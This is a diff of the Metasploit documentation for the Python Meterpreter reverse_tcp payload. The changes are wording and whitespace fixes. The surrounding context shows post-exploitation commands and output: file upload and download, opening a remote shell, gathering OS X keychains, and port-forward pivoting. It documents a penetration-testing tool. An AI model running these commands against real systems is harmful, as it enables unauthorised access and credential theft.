@@ -10,14 +10,15 @@ for all of them.
10
10
## Vulnerable Application
11
11
12
12
The Python Meterpreter is suitable for any systems that support Python. Some operating
13
- systems such as Ubuntu, Debian, Arch Linux, and OS X have it by default.
13
+ systems such as Ubuntu, Debian, Arch Linux, and OS X have it by default. The Python
14
+ Meterpreter supports the CPython implementation versions 2.5-2.7 and 3.1+.
14
15
15
16
## Deploying python/meterpreter/reverse_tcp
16
17
17
18
python/meterpreter/reverse_tcp is typically used in two different ways.
18
19
19
20
First, it can be used with an exploit as long as the Python platform is supported. This sort
20
- of information usually can be found when you use the ``` info ``` command like this:
21
+ of information can usually be found when you use the ``` info ``` command like this:
21
22
22
23
```
23
24
msf exploit(ms14_064_packager_python) > info
@@ -53,7 +54,7 @@ want to do this with msfvenom, like this:
53
54
54
55
## Important Basic Commands
55
56
56
- Compare to a native Meterpreter such as windows/meterpreter/reverse_tcp, the Python Meterpreter
57
+ Compared to a native Meterpreter such as windows/meterpreter/reverse_tcp, the Python Meterpreter
57
58
has less commands, but here's a list of all the common ones you might need:
58
59
59
60
** pwd command**
@@ -92,7 +93,7 @@ The ```upload``` command allows you to upload a file to the remote target. For e
92
93
meterpreter > upload /tmp/data.txt /Users/sinn3r/Desktop
93
94
[*] uploading : /tmp/data.txt -> /Users/sinn3r/Desktop
94
95
[*] uploaded : /tmp/data.txt -> /Users/sinn3r/Desktop/data.txt
95
- meterpreter >
96
+ meterpreter >
96
97
```
97
98
98
99
** download command**
@@ -104,7 +105,7 @@ For example:
104
105
meterpreter > download /Users/sinn3r/Desktop/data.txt /tmp/pass.txt
105
106
[*] downloading: /Users/sinn3r/Desktop/data.txt -> /tmp/pass.txt/data.txt
106
107
[*] download : /Users/sinn3r/Desktop/data.txt -> /tmp/pass.txt/data.txt
107
- meterpreter >
108
+ meterpreter >
108
109
```
109
110
110
111
** search command**
@@ -159,7 +160,7 @@ For example:
159
160
meterpreter > shell
160
161
Process 74513 created.
161
162
Channel 2 created.
162
- sh-3.2#
163
+ sh-3.2#
163
164
```
164
165
165
166
If you wish to get back to Meterpreter, do [ CTRL] +[ Z] to background the channel.
@@ -184,13 +185,13 @@ To use a post module from the Meterpreter prompt, simply use the ```run``` comma
184
185
is an example of collecting OS X keychain information using the enum_keychain post module:
185
186
186
187
```
187
- meterpreter > run post/osx/gather/enum_keychain
188
+ meterpreter > run post/osx/gather/enum_keychain
188
189
189
190
[*] The following keychains for root were found:
190
191
"/Users/sinn3r/Library/Keychains/login.keychain"
191
192
"/Library/Keychains/System.keychain"
192
193
[+] 192.168.1.209:58023 - Keychain information saved in /Users/sinn3r/.msf4/loot/20160705211412_http_192.168.1.209_macosx.keychain._271980.txt
193
- meterpreter >
194
+ meterpreter >
194
195
```
195
196
196
197
## Using the Post Exploitation API in IRB
@@ -202,7 +203,7 @@ meterpreter > irb
202
203
[*] Starting IRB shell
203
204
[*] The 'client' variable holds the meterpreter client
204
205
205
- >>
206
+ >>
206
207
```
207
208
208
209
** The client object**
@@ -272,7 +273,7 @@ Step 3: Upload the native via the Python Meterpreter session:
272
273
meterpreter > upload /tmp/native.exe C:\\Users\\sinn3r\\Desktop
273
274
[*] uploading : /tmp/native.exe -> C:\Users\sinn3r\Desktop
274
275
[*] uploaded : /tmp/native.exe -> C:\Users\sinn3r\Desktop\native.exe
275
- meterpreter >
276
+ meterpreter >
276
277
```
277
278
278
279
Step 4: Execute the native payload:
@@ -297,7 +298,7 @@ System Language : en_US
297
298
Domain : WORKGROUP
298
299
Logged On Users : 2
299
300
Meterpreter : x86/win32
300
- meterpreter >
301
+ meterpreter >
301
302
```
302
303
303
304
** Example 2: Using exploit/multi/script/web_delivery**
@@ -312,7 +313,7 @@ cannot talk to the SMB service remotely on the compromised host because it is fi
312
313
you can use portfwd to establish that tunnel:
313
314
314
315
```
315
- meterpreter > portfwd add -l 445 -p 445 -r 192.168.1.220
316
+ meterpreter > portfwd add -l 445 -p 445 -r 192.168.1.220
316
317
[*] Local TCP relay created: :445 <-> 192.168.1.220:445
317
318
meterpreter > portfwd
318
319
@@ -345,7 +346,7 @@ To do that, first off, look at the ifconfig/ipconfig output and determine your p
345
346
meterpreter > ipconfig
346
347
```
347
348
348
- Make sure you know the subnet, netmask, and the Meterpreter/session ID. Back to the msf prompt,
349
+ Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt,
349
350
and establish that route:
350
351
351
352
```
0 commit comments